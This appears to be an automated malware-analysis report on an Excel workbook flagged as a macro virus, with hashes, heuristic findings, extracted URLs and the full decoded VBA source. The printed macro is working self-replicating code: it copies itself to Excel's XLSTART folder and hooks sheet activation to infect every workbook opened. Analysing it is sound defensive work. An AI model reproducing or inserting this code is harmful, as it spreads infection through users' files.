Office (OLE) / .XLS malware analysis — malicious · fa36ca5a52862f71

MALICIOUS

Office (OLE) / .XLS

1.87 MB Created: 2024-12-18 14:36:36 First seen: 2026-06-21

MD5: eca72270e6d44650bd558f4e2be260b2 SHA-1: a12df3121e51603bacbd5aee8732c198954ee32d SHA-256: fa36ca5a52862f71d521aec3b19d32dd03b240b4f8a61860696623d092ebab1a

170 Risk Score

Heuristics 6

ClamAV: Xls.Virus.Valyria-10007756-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Virus.Valyria-10007756-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE

The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
Matched line in script
```
If ThisWorkbook.Path <> Application.StartupPath Then
```
VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER

The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
Matched line in script
```
    Application.OnSheetActivate = ""
```
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
Sub Auto_Open()
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL https://thuocdietmoi24h.com/san-pham/termize-200sc/ In document text (OLE body)
- http://vattusatthep.com/san-pham/luoi-to-tuong/In document text (OLE body)
- http://vbpl.vn/daklakIn document text (OLE body)
- https://moc.gov.vn/pl/Pages/ChiTietVanBan.aspx?vID=61In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=3509&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=36&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=87&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=33&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=32&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2620&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=654&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=641&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=615&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2880&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2889&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2602&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2601&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2567&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2471&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2533&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=460&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=494&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2591&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=677&TypeVB=0In document text (OLE body)
- https://moc.gov.vn/pl/Pages/ChiTietVanBan.aspx?vID=54&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/pl/Pages/ChiTietVanBan.aspx?vID=630In document text (OLE body)
- https://moc.gov.vn/pl/Pages/ChiTietVanBan.aspx?vID=62In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=3471&TypeVB=0In document text (OLE body)
- http://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=3505&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=3512&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=3516&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=3508&TypeVB=1In document text (OLE body)
- http://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=541&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2579&TypeVB=0In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=3157&TypeVB=0In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=3155&TypeVB=0In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=744&TypeVB=0In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=3223&TypeVB=0In document text (OLE body)
- https://www.petrolimex.com.vn/ndi/thong-cao-bao-chi.htmlIn document text (OLE body)
- https://www.evn.com.vn/userfile/User/tcdl/files/2023-11-08%20QD%202941-QD-BCT%20quy%20dinh%20ve%20gia%20ban%20dien.PDFIn document text (OLE body)
- https://mic.gov.vn/Pages/vanban/chitietvanban.aspx?IDVB=13839In document text (OLE body)
- http://vanban.chinhphu.vn/portal/page/portal/chinhphu/hethongvanban?class_id=1&_page=1&mode=detail&document_id=202663In document text (OLE body)
- http://vanban.chinhphu.vn/portal/page/portal/chinhphu/hethongvanban?class_id=1&_page=1&mode=detail&document_id=198941In document text (OLE body)
- http://vanban.chinhphu.vn/portal/page/portal/chinhphu/hethongvanban?class_id=1&_page=1&mode=detail&document_id=197619In document text (OLE body)
- http://vanban.chinhphu.vn/portal/page/portal/chinhphu/hethongvanban?class_id=1&_page=1&mode=detail&document_id=198341In document text (OLE body)
- http://vanban.chinhphu.vn/portal/page/portal/chinhphu/hethongvanban?class_id=1&mode=detail&document_id=179318In document text (OLE body)
- http://vanban.chinhphu.vn/portal/page/portal/chinhphu/hethongvanban?class_id=1&_page=1&mode=detail&document_id=180318In document text (OLE body)
- https://vanban.chinhphu.vn/default.aspx?pageid=27160&docid=174689In document text (OLE body)
- https://vanban.chinhphu.vn/default.aspx?pageid=27160&docid=184797In document text (OLE body)
- https://vanban.chinhphu.vn/default.aspx?pageid=27160&docid=199535In document text (OLE body)
+5 more URL(s)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1156 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1156 bytes
SHA-256: `a4b2d449430a14ec9c95d81488bffd3bb1ed2a5024d9494b59530417c2dbbe3d`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Kangatang" Sub Auto_Open() 'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel1.xls" Application.DisplayAlerts = Triue Application.EnableEvents = True Application.ScreenUpdating = True Application.DisplayStatusBar = True On Error Resume Next If ThisWorkbook.Path <> Application.StartupPath Then Application.ScreenUpdating = False Windows(1).Visible = False ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel1.xls" Windows(1).Visible = True End If Application.OnSheetActivate = "" Application.ScreenUpdating = True Application.OnSheetActivate = "mypersonnel1.xls!allocated" End Sub Sub allocated() On Error Resume Next If ActiveWorkbook.Sheets(1).name <> "Kangatang" Then Application.ScreenUpdating = True Application.DisplayStatusBar = True currentsh = ActiveSheet.name ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1) ActiveWorkbook.Sheets(currentsh).Select Application.ScreenUpdating = True End If End Sub

SHA-256: a4b2d449430a14ec9c95d81488bffd3bb1ed2a5024d9494b59530417c2dbbe3d

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "Kangatang"


Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel1.xls"
Application.DisplayAlerts = Triue
Application.EnableEvents = True
Application.ScreenUpdating = True
Application.DisplayStatusBar = True


On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel1.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel1.xls!allocated"
End Sub



Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).name <> "Kangatang" Then
    Application.ScreenUpdating = True
    Application.DisplayStatusBar = True
    currentsh = ActiveSheet.name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.